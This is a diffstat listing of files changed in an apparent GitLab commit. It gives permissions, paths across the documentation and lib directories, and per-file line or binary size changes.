-rw-r--r--doc/development/testing_guide/end_to_end/rspec_metadata_tests.md3
-rw-r--r--doc/development/testing_guide/end_to_end/running_tests_that_require_special_setup.md6
-rw-r--r--doc/development/testing_guide/flaky_tests.md27
-rw-r--r--doc/development/testing_guide/frontend_testing.md39
-rw-r--r--doc/development/testing_guide/img/review-app-parent-pipeline.pngbin136842 -> 42721 bytes
-rw-r--r--doc/development/testing_guide/review_apps.md50
-rw-r--r--doc/development/testing_guide/testing_levels.md10
-rw-r--r--doc/development/usage_ping/dictionary.md4
-rw-r--r--doc/development/work_items_widgets.md114
-rw-r--r--doc/gitlab-basics/index.md4
-rw-r--r--doc/install/aws/gitlab_hybrid_on_aws.md54
-rw-r--r--doc/install/aws/gitlab_sre_for_aws.md6
-rw-r--r--doc/install/aws/index.md36
-rw-r--r--doc/install/aws/manual_install_aws.md32
-rw-r--r--doc/install/digitaloceandocker.md5
-rw-r--r--doc/install/docker.md17
-rw-r--r--doc/install/index.md1
-rw-r--r--doc/install/installation.md8
-rw-r--r--doc/install/openshift_and_gitlab/index.md2
-rw-r--r--doc/install/pivotal/index.md19
-rw-r--r--doc/install/relative_url.md2
-rw-r--r--doc/install/requirements.md7
-rw-r--r--doc/integration/akismet.md8
-rw-r--r--doc/integration/auth0.md15
-rw-r--r--doc/integration/azure.md26
-rw-r--r--doc/integration/bitbucket.md12
-rw-r--r--doc/integration/cas.md18
-rw-r--r--doc/integration/datadog.md10
-rw-r--r--doc/integration/ding_talk.md10
-rw-r--r--doc/integration/elasticsearch.md58
-rw-r--r--doc/integration/facebook.md11
-rw-r--r--doc/integration/github.md39
-rw-r--r--doc/integration/gitlab.md20
-rw-r--r--doc/integration/gitpod.md8
-rw-r--r--doc/integration/google.md10
-rw-r--r--doc/integration/img/ding_talk_menu.pngbin66465 -> 22685 bytes
-rw-r--r--doc/integration/img/omniauth_providers_v_14_6.pngbin0 -> 12165 bytes
-rw-r--r--doc/integration/index.md2
-rw-r--r--doc/integration/jenkins.md11
-rw-r--r--doc/integration/jira/connect-app.md2
-rw-r--r--doc/integration/jira/dvcs.md19
-rw-r--r--doc/integration/jira/img/open_jira_issues_list_v13.2.pngbin90251 -> 0 bytes
-rw-r--r--doc/integration/jira/img/open_jira_issues_list_v14_6.pngbin0 -> 89984 bytes
-rw-r--r--doc/integration/jira/issues.md6
-rw-r--r--doc/integration/mattermost/gitlab-mattermost.msc28
-rw-r--r--doc/integration/mattermost/img/gitlab-mattermost.pngbin26656 -> 0 bytes
-rw-r--r--doc/integration/mattermost/index.md62
-rw-r--r--doc/integration/oauth2_generic.md119
-rw-r--r--doc/integration/omniauth.md88
-rw-r--r--doc/integration/openid_connect_provider.md11
-rw-r--r--doc/integration/recaptcha.md21
-rw-r--r--doc/integration/salesforce.md8
-rw-r--r--doc/integration/saml.md117
-rw-r--r--doc/integration/twitter.md8
-rw-r--r--doc/integration/vault.md4
-rw-r--r--doc/intro/index.md9
-rw-r--r--doc/operations/error_tracking.md2
-rw-r--r--doc/operations/feature_flags.md16
-rw-r--r--doc/operations/incident_management/integrations.md6
-rw-r--r--doc/operations/metrics/dashboards/yaml_number_format.md2
-rw-r--r--doc/policy/maintenance.md17
-rw-r--r--doc/push_rules/push_rules.md22
-rw-r--r--doc/raketasks/backup_restore.md20
-rw-r--r--doc/raketasks/index.md1
-rw-r--r--doc/raketasks/user_management.md4
-rw-r--r--doc/security/asset_proxy.md2
-rw-r--r--doc/security/reset_user_password.md149
-rw-r--r--doc/security/webhooks.md8
-rw-r--r--doc/subscriptions/bronze_starter.md4
-rw-r--r--doc/subscriptions/gitlab_com/index.md102
-rw-r--r--doc/subscriptions/index.md9
-rw-r--r--doc/subscriptions/self_managed/index.md24
-rw-r--r--doc/system_hooks/system_hooks.md6
-rw-r--r--doc/topics/autodevops/customize.md6
-rw-r--r--doc/topics/autodevops/index.md3
-rw-r--r--doc/topics/autodevops/multiple_clusters_auto_devops.md2
-rw-r--r--doc/topics/autodevops/stages.md2
-rw-r--r--doc/topics/autodevops/upgrading_postgresql.md2
-rw-r--r--doc/topics/cron/index.md7
-rw-r--r--doc/topics/git/cherry_picking.md2
-rw-r--r--doc/topics/git/lfs/index.md2
-rw-r--r--doc/topics/plan_and_track.md17
-rw-r--r--doc/update/deprecations.md125
-rw-r--r--doc/update/index.md171
-rw-r--r--doc/update/package/index.md4
-rw-r--r--doc/update/plan_your_upgrade.md8
-rw-r--r--doc/update/upgrading_from_source.md2
-rw-r--r--doc/update/upgrading_postgresql_using_slony.md6
-rw-r--r--doc/update/zero_downtime.md70
-rw-r--r--doc/user/admin_area/analytics/dev_ops_report.md50
-rw-r--r--doc/user/admin_area/analytics/usage_trends.md5
-rw-r--r--doc/user/admin_area/approving_users.md9
-rw-r--r--doc/user/admin_area/index.md12
-rw-r--r--doc/user/admin_area/moderate_users.md14
-rw-r--r--doc/user/admin_area/settings/account_and_limit_settings.md105
-rw-r--r--doc/user/admin_area/settings/continuous_integration.md9
-rw-r--r--doc/user/admin_area/settings/files_api_rate_limits.md12
-rw-r--r--doc/user/admin_area/settings/gitaly_timeouts.md2
-rw-r--r--doc/user/admin_area/settings/visibility_and_access_controls.md7
-rw-r--r--doc/user/analytics/ci_cd_analytics.md2
-rw-r--r--doc/user/analytics/img/product_analytics_commits_per_mr_v14_4.pngbin135480 -> 35894 bytes
-rw-r--r--doc/user/analytics/img/productivity_analytics_time_to_merge_v14_4.pngbin96144 -> 21953 bytes
-rw-r--r--doc/user/analytics/img/productivity_analytics_trendline_v14_4.pngbin47250 -> 13089 bytes
-rw-r--r--doc/user/analytics/index.md28
-rw-r--r--doc/user/analytics/productivity_analytics.md14
-rw-r--r--doc/user/analytics/value_stream_analytics.md14
-rw-r--r--doc/user/application_security/api_fuzzing/index.md25
-rw-r--r--doc/user/application_security/cluster_image_scanning/index.md19
-rw-r--r--doc/user/application_security/configuration/index.md4
-rw-r--r--doc/user/application_security/container_scanning/index.md201
-rw-r--r--doc/user/application_security/coverage_fuzzing/index.md2
-rw-r--r--doc/user/application_security/dast/browser_based.md19
-rw-r--r--doc/user/application_security/dast/checks/1004.1.md4
-rw-r--r--doc/user/application_security/dast/checks/16.1.md2
-rw-r--r--doc/user/application_security/dast/checks/16.3.md4
-rw-r--r--doc/user/application_security/dast/checks/16.4.md2
-rw-r--r--doc/user/application_security/dast/checks/16.5.md4
-rw-r--r--doc/user/application_security/dast/checks/16.6.md37
-rw-r--r--doc/user/application_security/dast/checks/614.1.md2
-rw-r--r--doc/user/application_security/dast/checks/693.1.md4
-rw-r--r--doc/user/application_security/dast/checks/index.md3
-rw-r--r--doc/user/application_security/dast/index.md56
-rw-r--r--doc/user/application_security/dast_api/index.md21
-rw-r--r--doc/user/application_security/dependency_list/index.md13
-rw-r--r--doc/user/application_security/dependency_scanning/analyzers.md9
-rw-r--r--doc/user/application_security/dependency_scanning/index.md81
-rw-r--r--doc/user/application_security/iac_scanning/index.md14
-rw-r--r--doc/user/application_security/index.md6
-rw-r--r--doc/user/application_security/policies/img/security_policy_project_v14_3.pngbin29763 -> 0 bytes
-rw-r--r--doc/user/application_security/policies/img/security_policy_project_v14_6.pngbin0 -> 5574 bytes
-rw-r--r--doc/user/application_security/policies/index.md44
-rw-r--r--doc/user/application_security/sast/analyzers.md2
-rw-r--r--doc/user/application_security/sast/index.md424
-rw-r--r--doc/user/application_security/secret_detection/index.md44
-rw-r--r--doc/user/application_security/security_dashboard/img/pipeline_security_dashboard_v14_4.pngbin126412 -> 44152 bytes
-rw-r--r--doc/user/application_security/security_dashboard/index.md4
-rw-r--r--doc/user/application_security/vulnerability_report/img/operational_vulnerability_tab_v14_6.pngbin0 -> 20742 bytes
-rw-r--r--doc/user/application_security/vulnerability_report/index.md12
-rw-r--r--doc/user/asciidoc.md7
-rw-r--r--doc/user/award_emojis.md12
-rw-r--r--doc/user/clusters/agent/ci_cd_tunnel.md8
-rw-r--r--doc/user/clusters/agent/index.md54
-rw-r--r--doc/user/clusters/agent/install/index.md97
-rw-r--r--doc/user/clusters/agent/repository.md22
-rw-r--r--doc/user/clusters/cost_management.md3
-rw-r--r--doc/user/clusters/environments.md4
-rw-r--r--doc/user/clusters/img/gitlab_agent_activity_events_v14_6.pngbin0 -> 56049 bytes
-rw-r--r--doc/user/clusters/integrations.md6
-rw-r--r--doc/user/clusters/management_project.md2
-rw-r--r--doc/user/clusters/management_project_template.md6
-rw-r--r--doc/user/clusters/migrating_from_gma_to_project_template.md2
-rw-r--r--doc/user/compliance/compliance_dashboard/index.md9
-rw-r--r--doc/user/compliance/license_compliance/img/policies_maintainer_edit_v14_3.pngbin25383 -> 26480 bytes
-rw-r--r--doc/user/compliance/license_compliance/index.md32
-rw-r--r--doc/user/crm/crm_contacts_v14_6.pngbin0 -> 19864 bytes
-rw-r--r--doc/user/crm/crm_organizations_v14_6.pngbin0 -> 8244 bytes
-rw-r--r--doc/user/crm/index.md141
-rw-r--r--doc/user/crm/issue_crm_contacts_v14_6.pngbin0 -> 6703 bytes
-rw-r--r--doc/user/discussions/index.md41
-rw-r--r--doc/user/gitlab_com/index.md27
-rw-r--r--doc/user/group/clusters/index.md2
-rw-r--r--doc/user/group/custom_project_templates.md50
-rw-r--r--doc/user/group/devops_adoption/index.md115
-rw-r--r--doc/user/group/epics/epic_boards.md4
-rw-r--r--doc/user/group/epics/index.md12
-rw-r--r--doc/user/group/epics/manage_epics.md2
-rw-r--r--doc/user/group/index.md42
-rw-r--r--doc/user/group/iterations/index.md36
-rw-r--r--doc/user/group/planning_hierarchy/img/epic-view-ancestors-in-sidebar_v14_6.pngbin0 -> 24780 bytes
-rw-r--r--doc/user/group/planning_hierarchy/img/hierarchy_with_multi_level_epics.pngbin0 -> 9342 bytes
-rw-r--r--doc/user/group/planning_hierarchy/img/issue-view-parent-epic-in-sidebar_v14_6.pngbin0 -> 25077 bytes
-rw-r--r--doc/user/group/planning_hierarchy/index.md67
-rw-r--r--doc/user/group/roadmap/index.md2
-rw-r--r--doc/user/group/saml_sso/index.md59
-rw-r--r--doc/user/group/saml_sso/scim_setup.md27
-rw-r--r--doc/user/group/settings/import_export.md28
-rw-r--r--doc/user/group/value_stream_analytics/index.md6
-rw-r--r--doc/user/img/award_emoji_comment_awarded.pngbin19159 -> 0 bytes
-rw-r--r--doc/user/img/award_emoji_comment_picker.pngbin72847 -> 0 bytes
-rw-r--r--doc/user/img/award_emoji_select.pngbin17554 -> 0 bytes
-rw-r--r--doc/user/img/award_emoji_select_v14_6.pngbin0 -> 17252 bytes
-rw-r--r--doc/user/infrastructure/clusters/connect/index.md2
-rw-r--r--doc/user/infrastructure/clusters/deploy/inventory_object.md14
-rw-r--r--doc/user/infrastructure/clusters/index.md9
-rw-r--r--doc/user/infrastructure/iac/index.md9
-rw-r--r--doc/user/infrastructure/iac/mr_integration.md4
-rw-r--r--doc/user/infrastructure/iac/terraform_state.md8
-rw-r--r--doc/user/infrastructure/index.md4
-rw-r--r--doc/user/infrastructure/mr_integration.md9
-rw-r--r--doc/user/infrastructure/terraform_state.md9
-rw-r--r--doc/user/instance/clusters/index.md2
-rw-r--r--doc/user/markdown.md65
-rw-r--r--doc/user/operations_dashboard/index.md4
-rw-r--r--doc/user/packages/composer_repository/index.md73
-rw-r--r--doc/user/packages/conan_repository/index.md23
-rw-r--r--doc/user/packages/container_registry/index.md15
-rw-r--r--doc/user/packages/dependency_proxy/index.md19
-rw-r--r--doc/user/packages/go_proxy/index.md4
-rw-r--r--doc/user/packages/helm_repository/index.md22
-rw-r--r--doc/user/packages/npm_registry/index.md14
-rw-r--r--doc/user/packages/nuget_repository/index.md68
-rw-r--r--doc/user/packages/package_registry/index.md2
-rw-r--r--doc/user/packages/terraform_module_registry/index.md10
-rw-r--r--doc/user/permissions.md4
-rw-r--r--doc/user/profile/account/delete_account.md13
-rw-r--r--doc/user/profile/account/two_factor_authentication.md53
-rw-r--r--doc/user/profile/active_sessions.md8
-rw-r--r--doc/user/profile/index.md34
-rw-r--r--doc/user/profile/notifications.md32
-rw-r--r--doc/user/profile/personal_access_tokens.md8
-rw-r--r--doc/user/profile/preferences.md6
-rw-r--r--doc/user/profile/unknown_sign_in_notification.md3
-rw-r--r--doc/user/project/clusters/add_eks_clusters.md6
-rw-r--r--doc/user/project/clusters/add_existing_cluster.md2
-rw-r--r--doc/user/project/clusters/add_gke_clusters.md4
-rw-r--r--doc/user/project/clusters/add_remove_clusters.md8
-rw-r--r--doc/user/project/clusters/cluster_access.md2
-rw-r--r--doc/user/project/clusters/deploy_to_cluster.md2
-rw-r--r--doc/user/project/clusters/gitlab_managed_clusters.md2
-rw-r--r--doc/user/project/clusters/index.md2
-rw-r--r--doc/user/project/clusters/multiple_kubernetes_clusters.md2
-rw-r--r--doc/user/project/clusters/protect/container_host_security/index.md2
-rw-r--r--doc/user/project/clusters/protect/container_network_security/index.md2
-rw-r--r--doc/user/project/clusters/protect/container_network_security/quick_start_guide.md5
-rw-r--r--doc/user/project/clusters/serverless/aws.md2
-rw-r--r--doc/user/project/clusters/serverless/index.md2
-rw-r--r--doc/user/project/code_owners.md24
-rw-r--r--doc/user/project/description_templates.md2
-rw-r--r--doc/user/project/import/github.md7
-rw-r--r--doc/user/project/import/index.md2
-rw-r--r--doc/user/project/index.md2
-rw-r--r--doc/user/project/insights/index.md2
-rw-r--r--doc/user/project/integrations/asana.md2
-rw-r--r--doc/user/project/integrations/bamboo.md91
-rw-r--r--doc/user/project/integrations/github.md50
-rw-r--r--doc/user/project/integrations/hangouts_chat.md4
-rw-r--r--doc/user/project/integrations/img/webhook_testing.pngbin96374 -> 30732 bytes
-rw-r--r--doc/user/project/integrations/irker.md2
-rw-r--r--doc/user/project/integrations/mattermost.md4
-rw-r--r--doc/user/project/integrations/pivotal_tracker.md2
-rw-r--r--doc/user/project/integrations/slack.md4
-rw-r--r--doc/user/project/issue_board.md106
-rw-r--r--doc/user/project/issues/confidential_issues.md7
-rw-r--r--doc/user/project/issues/csv_import.md4
-rw-r--r--doc/user/project/issues/design_management.md2
-rw-r--r--doc/user/project/issues/img/button_close_issue_v13_6.pngbin23033 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/comment-or-discussion.pngbin4530 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/create_mr_from_issue.pngbin8632 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/delete_issue_v13_11.pngbin38915 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/disable_issue_auto_close.pngbin15119 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/issue_activity_sort_order_v12_10.pngbin11646 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/issue_type_change_v13_12.pngbin16859 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/issues_main_view_numbered.pngbin107528 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/merge_request_closes_issue_v13_11.pngbin15436 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/new_issue_from_email.pngbin4259 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/new_issue_from_issue_board.pngbin20063 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/new_issue_from_open_issue_v13_6.pngbin25667 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/new_issue_from_projects_dashboard.pngbin9674 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/new_issue_from_tracker_list.pngbin19632 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/new_issue_v13_1.pngbin69721 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/select_project_from_group_level_issue_tracker_v13_11.pngbin8863 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/show-all-activity.pngbin4501 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/sidebar_move_issue.pngbin50003 -> 0 bytes
-rw-r--r--doc/user/project/issues/img/similar_issues.pngbin25390 -> 0 bytes
-rw-r--r--doc/user/project/issues/index.md13
-rw-r--r--doc/user/project/issues/issue_data_and_actions.md316
-rw-r--r--doc/user/project/issues/managing_issues.md681
-rw-r--r--doc/user/project/issues/multiple_assignees_for_issues.md3
-rw-r--r--doc/user/project/issues/related_issues.md2
-rw-r--r--doc/user/project/issues/sorting_issue_lists.md2
-rw-r--r--doc/user/project/labels.md14
-rw-r--r--doc/user/project/members/index.md25
-rw-r--r--doc/user/project/members/share_project_with_groups.md24
-rw-r--r--doc/user/project/merge_requests/approvals/index.md2
-rw-r--r--doc/user/project/merge_requests/approvals/rules.md2
-rw-r--r--doc/user/project/merge_requests/approvals/settings.md2
-rw-r--r--doc/user/project/merge_requests/browser_performance_testing.md4
-rw-r--r--doc/user/project/merge_requests/cherry_pick_changes.md4
-rw-r--r--doc/user/project/merge_requests/code_quality.md4
-rw-r--r--doc/user/project/merge_requests/commit_templates.md81
-rw-r--r--doc/user/project/merge_requests/confidential.md2
-rw-r--r--doc/user/project/merge_requests/creating_merge_requests.md6
-rw-r--r--doc/user/project/merge_requests/getting_started.md18
-rw-r--r--doc/user/project/merge_requests/img/merge_commit_message_template_v14_5.pngbin19690 -> 0 bytes
-rw-r--r--doc/user/project/merge_requests/index.md2
-rw-r--r--doc/user/project/merge_requests/load_performance_testing.md6
-rw-r--r--doc/user/project/merge_requests/reviews/index.md4
-rw-r--r--doc/user/project/merge_requests/reviews/suggestions.md2
-rw-r--r--doc/user/project/merge_requests/squash_and_merge.md10
-rw-r--r--doc/user/project/merge_requests/status_checks.md2
-rw-r--r--doc/user/project/merge_requests/test_coverage_visualization.md9
-rw-r--r--doc/user/project/merge_requests/versions.md3
-rw-r--r--doc/user/project/milestones/index.md2
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/dns_concepts.md3
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/index.md23
-rw-r--r--doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md2
-rw-r--r--doc/user/project/pages/getting_started/pages_forked_sample_project.md10
-rw-r--r--doc/user/project/pages/getting_started/pages_from_scratch.md2
-rw-r--r--doc/user/project/pages/lets_encrypt_for_gitlab_pages.md166
-rw-r--r--doc/user/project/pages/redirects.md33
-rw-r--r--doc/user/project/quick_actions.md14
-rw-r--r--doc/user/project/releases/img/feature_count_v14_6.pngbin0 -> 24569 bytes
-rw-r--r--doc/user/project/releases/index.md179
-rw-r--r--doc/user/project/releases/release_cli.md3
-rw-r--r--doc/user/project/repository/branches/default.md4
-rw-r--r--doc/user/project/repository/forking_workflow.md10
-rw-r--r--doc/user/project/repository/gpg_signed_commits/index.md17
-rw-r--r--doc/user/project/repository/index.md27
-rw-r--r--doc/user/project/repository/jupyter_notebooks/img/jupyter_notebook_diff_v14_5.pngbin249380 -> 71585 bytes
-rw-r--r--doc/user/project/repository/web_editor.md10
-rw-r--r--doc/user/project/repository/x509_signed_commits/index.md2
-rw-r--r--doc/user/project/requirements/index.md6
-rw-r--r--doc/user/project/service_desk.md7
-rw-r--r--doc/user/project/settings/import_export.md5
-rw-r--r--doc/user/project/settings/index.md37
-rw-r--r--doc/user/project/settings/project_access_tokens.md220
-rw-r--r--doc/user/project/static_site_editor/index.md28
-rw-r--r--doc/user/project/time_tracking.md2
-rw-r--r--doc/user/project/web_ide/index.md2
-rw-r--r--doc/user/project/wiki/img/content_editor_v14.0.pngbin13771 -> 0 bytes
-rw-r--r--doc/user/project/wiki/img/content_editor_v14.6.pngbin0 -> 15534 bytes
-rw-r--r--doc/user/project/wiki/img/use_new_editor_button_v14.0.pngbin16719 -> 0 bytes
-rw-r--r--doc/user/project/wiki/img/use_new_editor_button_v14.6.pngbin0 -> 11192 bytes
-rw-r--r--doc/user/project/wiki/index.md19
-rw-r--r--doc/user/project/working_with_projects.md631
-rw-r--r--doc/user/report_abuse.md55
-rw-r--r--doc/user/search/advanced_search.md16
-rw-r--r--doc/user/search/img/dashboard_links_v13_11.pngbin2798 -> 0 bytes
-rw-r--r--doc/user/search/img/dashboard_links_v14_6.pngbin0 -> 1792 bytes
-rw-r--r--doc/user/search/img/filter_approved_by_merge_requests_v13_0.pngbin31363 -> 0 bytes
-rw-r--r--doc/user/search/img/filter_approved_by_merge_requests_v14_6.pngbin0 -> 8326 bytes
-rw-r--r--doc/user/search/img/filter_approver_merge_requests.pngbin30525 -> 0 bytes
-rw-r--r--doc/user/search/img/filter_approver_merge_requests_v14_6.pngbin0 -> 7841 bytes
-rw-r--r--doc/user/search/img/filtering_merge_requests_by_date_v13_6.pngbin33790 -> 0 bytes
-rw-r--r--doc/user/search/img/filtering_merge_requests_by_date_v14_6.pngbin0 -> 4318 bytes
-rw-r--r--doc/user/search/img/filtering_merge_requests_by_environment_v13_6.pngbin22802 -> 0 bytes
-rw-r--r--doc/user/search/img/filtering_merge_requests_by_environment_v14_6.pngbin0 -> 8053 bytes
-rw-r--r--doc/user/search/img/issue_search_by_term.pngbin35648 -> 0 bytes
-rw-r--r--doc/user/search/img/issue_search_filter_v12_7.pngbin64161 -> 0 bytes
-rw-r--r--doc/user/search/img/issues_assigned_to_you.pngbin19706 -> 0 bytes
-rw-r--r--doc/user/search/img/issues_filter_none_any.pngbin27717 -> 0 bytes
-rw-r--r--doc/user/search/img/issues_mrs_shortcut_v14_4.pngbin6741 -> 0 bytes
-rw-r--r--doc/user/search/img/issues_mrs_shortcut_v14_6.pngbin0 -> 5535 bytes
-rw-r--r--doc/user/search/img/project_search.pngbin42139 -> 0 bytes
-rw-r--r--doc/user/search/index.md63
-rw-r--r--doc/user/snippets.md2
-rw-r--r--doc/user/tasks.md9
-rw-r--r--doc/user/todos.md2
-rw-r--r--doc/user/workspace/index.md8
-rw-r--r--fixtures/emojis/aliases.json2
-rw-r--r--generator_templates/usage_metric_definition/metric_definition.yml1
-rw-r--r--jest.config.base.js8
-rw-r--r--jest.config.integration.js1
-rw-r--r--lib/after_commit_queue.rb50
-rw-r--r--lib/api/admin/plan_limits.rb1
-rw-r--r--lib/api/ci/helpers/runner.rb16
-rw-r--r--lib/api/ci/pipelines.rb2
-rw-r--r--lib/api/ci/runner.rb4
-rw-r--r--lib/api/commit_statuses.rb5
-rw-r--r--lib/api/composer_packages.rb10
-rw-r--r--lib/api/concerns/packages/conan_endpoints.rb17
-rw-r--r--lib/api/concerns/packages/npm_endpoints.rb4
-rw-r--r--lib/api/dependency_proxy.rb12
-rw-r--r--lib/api/discussions.rb7
-rw-r--r--lib/api/entities/changelog.rb9
-rw-r--r--lib/api/entities/ci/job_basic.rb1
-rw-r--r--lib/api/entities/ci/pipeline.rb4
-rw-r--r--lib/api/entities/ci/pipeline_basic.rb2
-rw-r--r--lib/api/entities/ci/runner.rb2
-rw-r--r--lib/api/entities/commit_signature.rb4
-rw-r--r--lib/api/entities/issue_basic.rb2
-rw-r--r--lib/api/entities/personal_access_token.rb2
-rw-r--r--lib/api/entities/plan_limit.rb1
-rw-r--r--lib/api/entities/project.rb1
-rw-r--r--lib/api/entities/project_import_failed_relation.rb1
-rw-r--r--lib/api/entities/project_import_status.rb7
-rw-r--r--lib/api/group_export.rb4
-rw-r--r--lib/api/groups.rb24
-rw-r--r--lib/api/helpers/label_helpers.rb6
-rw-r--r--lib/api/helpers/members_helpers.rb3
-rw-r--r--lib/api/helpers/packages/conan/api_helpers.rb15
-rw-r--r--lib/api/helpers/projects_helpers.rb7
-rw-r--r--lib/api/helpers/rate_limiter.rb27
-rw-r--r--lib/api/invitations.rb1
-rw-r--r--lib/api/issues.rb8
-rw-r--r--lib/api/lint.rb4
-rw-r--r--lib/api/members.rb2
-rw-r--r--lib/api/merge_request_diffs.rb2
-rw-r--r--lib/api/merge_requests.rb30
-rw-r--r--lib/api/notes.rb7
-rw-r--r--lib/api/project_export.rb4
-rw-r--r--lib/api/project_import.rb6
-rw-r--r--lib/api/projects.rb2
-rw-r--r--lib/api/repositories.rb75
-rw-r--r--lib/api/resource_label_events.rb2
-rw-r--r--lib/api/resource_milestone_events.rb2
-rw-r--r--lib/api/resource_state_events.rb2
-rw-r--r--lib/api/search.rb4
-rw-r--r--lib/api/settings.rb1
-rw-r--r--lib/api/suggestions.rb4
-rw-r--r--lib/api/terraform/state.rb7
-rw-r--r--lib/api/topics.rb2
-rw-r--r--lib/api/v3/github.rb2
-rw-r--r--lib/api/validations/types/workhorse_file.rb1
-rw-r--r--lib/banzai/filter/base_sanitization_filter.rb6
-rw-r--r--lib/banzai/filter/external_link_filter.rb2
-rw-r--r--lib/banzai/filter/footnote_filter.rb37
-rw-r--r--lib/banzai/filter/issuable_reference_expansion_filter.rb92
-rw-r--r--lib/banzai/filter/issuable_state_filter.rb66
-rw-r--r--lib/banzai/filter/markdown_engines/common_mark.rb8
-rw-r--r--lib/banzai/filter/markdown_post_escape_filter.rb2
-rw-r--r--lib/banzai/filter/math_filter.rb2
-rw-r--r--lib/banzai/filter/plantuml_filter.rb2
-rw-r--r--lib/banzai/filter/references/abstract_reference_filter.rb2
-rw-r--r--lib/banzai/filter/references/reference_cache.rb14
-rw-r--r--lib/banzai/filter/references/reference_filter.rb4
-rw-r--r--lib/banzai/filter/repository_link_filter.rb2
-rw-r--r--lib/banzai/filter/sanitization_filter.rb9
-rw-r--r--lib/banzai/filter/syntax_highlight_filter.rb8
-rw-r--r--lib/banzai/pipeline/post_process_pipeline.rb2
-rw-r--r--lib/bulk_imports/clients/http.rb2
-rw-r--r--lib/bulk_imports/common/pipelines/badges_pipeline.rb44
-rw-r--r--lib/bulk_imports/common/pipelines/uploads_pipeline.rb29
-rw-r--r--lib/bulk_imports/common/pipelines/wiki_pipeline.rb21
-rw-r--r--lib/bulk_imports/common/rest/get_badges_query.rb23
-rw-r--r--lib/bulk_imports/groups/pipelines/badges_pipeline.rb32
-rw-r--r--lib/bulk_imports/groups/pipelines/group_avatar_pipeline.rb49
-rw-r--r--lib/bulk_imports/groups/rest/get_badges_query.rb22
-rw-r--r--lib/bulk_imports/groups/stage.rb10
-rw-r--r--lib/bulk_imports/ndjson_pipeline.rb9
-rw-r--r--lib/bulk_imports/projects/graphql/get_project_query.rb17
-rw-r--r--lib/bulk_imports/projects/graphql/get_repository_query.rb17
-rw-r--r--lib/bulk_imports/projects/graphql/get_snippet_repository_query.rb48
-rw-r--r--lib/bulk_imports/projects/graphql/queryable.rb25
-rw-r--r--lib/bulk_imports/projects/pipelines/auto_devops_pipeline.rb15
-rw-r--r--lib/bulk_imports/projects/pipelines/ci_pipelines_pipeline.rb15
-rw-r--r--lib/bulk_imports/projects/pipelines/container_expiration_policy_pipeline.rb15
-rw-r--r--lib/bulk_imports/projects/pipelines/pipeline_schedules_pipeline.rb15
-rw-r--r--lib/bulk_imports/projects/pipelines/project_attributes_pipeline.rb85
-rw-r--r--lib/bulk_imports/projects/pipelines/project_feature_pipeline.rb15
-rw-r--r--lib/bulk_imports/projects/pipelines/repository_pipeline.rb2
-rw-r--r--lib/bulk_imports/projects/pipelines/service_desk_setting_pipeline.rb15
-rw-r--r--lib/bulk_imports/projects/pipelines/snippets_pipeline.rb15
-rw-r--r--lib/bulk_imports/projects/pipelines/snippets_repository_pipeline.rb69
-rw-r--r--lib/bulk_imports/projects/stage.rb40
-rw-r--r--lib/extracts_ref.rb2
-rw-r--r--lib/feature.rb19
-rw-r--r--lib/feature/definition.rb18
-rw-r--r--lib/feature/shared.rb1
-rw-r--r--lib/flowdock/git/builder.rb2
-rw-r--r--lib/generators/gitlab/usage_metric_definition/redis_hll_generator.rb4
-rw-r--r--lib/generators/gitlab/usage_metric_definition_generator.rb5
-rw-r--r--lib/generators/gitlab/usage_metric_generator.rb4
-rw-r--r--lib/gitlab/abuse.rb18
-rw-r--r--lib/gitlab/analytics/cycle_analytics/aggregated/data_collector.rb2
-rw-r--r--lib/gitlab/analytics/cycle_analytics/aggregated/median.rb2
-rw-r--r--lib/gitlab/analytics/cycle_analytics/aggregated/records_fetcher.rb2
-rw-r--r--lib/gitlab/analytics/cycle_analytics/aggregated/stage_query_helpers.rb8
-rw-r--r--lib/gitlab/analytics/cycle_analytics/stage_events/stage_event.rb2
-rw-r--r--lib/gitlab/anonymous_session.rb16
-rw-r--r--lib/gitlab/application_context.rb7
-rw-r--r--lib/gitlab/application_rate_limiter.rb102
-rw-r--r--lib/gitlab/asciidoc/syntax_highlighter/html_pipeline_adapter.rb2
-rw-r--r--lib/gitlab/auth.rb4
-rw-r--r--lib/gitlab/auth/user_access_denied_reason.rb2
-rw-r--r--lib/gitlab/background_migration.rb14
-rw-r--r--lib/gitlab/background_migration/add_merge_request_diff_commits_count.rb25
-rw-r--r--lib/gitlab/background_migration/add_modified_to_approval_merge_request_rule.rb73
-rw-r--r--lib/gitlab/background_migration/backfill_deployment_clusters_from_deployments.rb19
-rw-r--r--lib/gitlab/background_migration/backfill_environment_id_deployment_merge_requests.rb47
-rw-r--r--lib/gitlab/background_migration/backfill_merge_request_cleanup_schedules.rb40
-rw-r--r--lib/gitlab/background_migration/backfill_namespace_settings.rb18
-rw-r--r--lib/gitlab/background_migration/backfill_project_settings.rb18
-rw-r--r--lib/gitlab/background_migration/backfill_push_rules_id_in_projects.rb27
-rw-r--r--lib/gitlab/background_migration/drop_invalid_remediations.rb14
-rw-r--r--lib/gitlab/background_migration/drop_invalid_security_findings.rb47
-rw-r--r--lib/gitlab/background_migration/fix_promoted_epics_discussion_ids.rb22
-rw-r--r--lib/gitlab/background_migration/fix_user_namespace_names.rb68
-rw-r--r--lib/gitlab/background_migration/fix_user_project_route_names.rb38
-rw-r--r--lib/gitlab/background_migration/job_coordinator.rb38
-rw-r--r--lib/gitlab/background_migration/link_lfs_objects_projects.rb82
-rw-r--r--lib/gitlab/background_migration/migrate_fingerprint_sha256_within_keys.rb61
-rw-r--r--lib/gitlab/background_migration/migrate_pages_metadata.rb38
